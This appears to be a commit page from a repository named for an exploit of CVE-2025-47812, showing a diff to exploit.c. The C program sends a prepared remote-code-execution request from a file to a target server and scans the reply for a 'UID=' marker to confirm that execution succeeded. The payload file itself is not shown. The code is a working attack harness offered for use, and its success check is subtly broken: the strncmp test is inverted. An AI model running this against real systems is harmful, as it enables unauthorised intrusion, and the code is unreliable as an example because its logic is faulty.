Master/Exploit_CVE-2025-47812
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

update

Browse Source
This commit is contained in:
hexplor
2026-04-26 02:30:32 +02:00
parent 361653d5e1
commit 32bfca70b2
1 changed files with 23 additions and 18 deletions
Download Patch File Download Diff File Expand all files Collapse all files
exploit.c
+23 -18
View File
@@ -24,17 +24,16 @@ int main(int argc, char** argv){
int ret = connect(fd,(struct sockaddr*)&dest_addr, sizeof(dest_addr)); int ret = connect(fd,(struct sockaddr*)&dest_addr, sizeof(dest_addr));
printf("ret_connect = %d\n", ret); printf("ret_connect = %d\n", ret);
char buffer[1000];
memset(buffer, 0, 100);
FILE* fichier_out = fopen("request_rce.txt", "r"); FILE* fichier_out = fopen("request_rce.txt", "r");
fseek(fichier_out, 0, SEEK_END); fseek(fichier_out, 0, SEEK_END);
int size = fichier_out->_offset; int size = fichier_out->_offset;
char* file_buffer = malloc(size); char* file_buffer = malloc(size);
fseek(fichier_out, 0, SEEK_SET); fseek(fichier_out, 0, SEEK_SET);
fread(file_buffer, 1, size, fichier_out); fread(file_buffer, 1, size, fichier_out);
for (int i = 0; i < size; i++){ for (int i = 0; i < size; i++){
char c = file_buffer[i]; char c = file_buffer[i];
if (c == '\n') if (c == '\n')
@@ -43,22 +42,28 @@ int main(int argc, char** argv){
send(fd, &c, 1, 0); send(fd, &c, 1, 0);
} }
send(fd, "\r\n", 2, 0); send(fd, "\r\n", 2, 0);
int n;
printf("recv:\n"); printf("recv:\n");
const char* pattern_uid = "UID"; char c = 0;
while (( n = recv(fd, buffer, 1000, 0)) > 0){ int n = 0;
buffer[n] = 0; char* text = calloc(1, 1);
int i = 0; int len = 0;
while (buffer[i] != 0){ while (( n = recv(fd, &c, 1, 0)) > 0){
if (buffer[i] && buffer[i] == pattern_uid[0] && buffer[i+1] == pattern_uid[1] && buffer[i+2] == pattern_uid[2]){ len = strlen(text) + 2;
printf("UID found\n"); text = realloc(text, len);
break; text[len - 2] = c;
} text[len - 1] = 0;
i++; }
} int index = 0;
buffer[n] = 0; while (text[index]){
memset(buffer, 0, 1000); if (text[index] == 'U'){
//printf("%s", buffer); if (strncmp(text + index, "UID=", 4)){
printf("pattern found\n");
break;
}
}
index++;
} }
fclose(fichier_out); fclose(fichier_out);
free(file_buffer); free(file_buffer);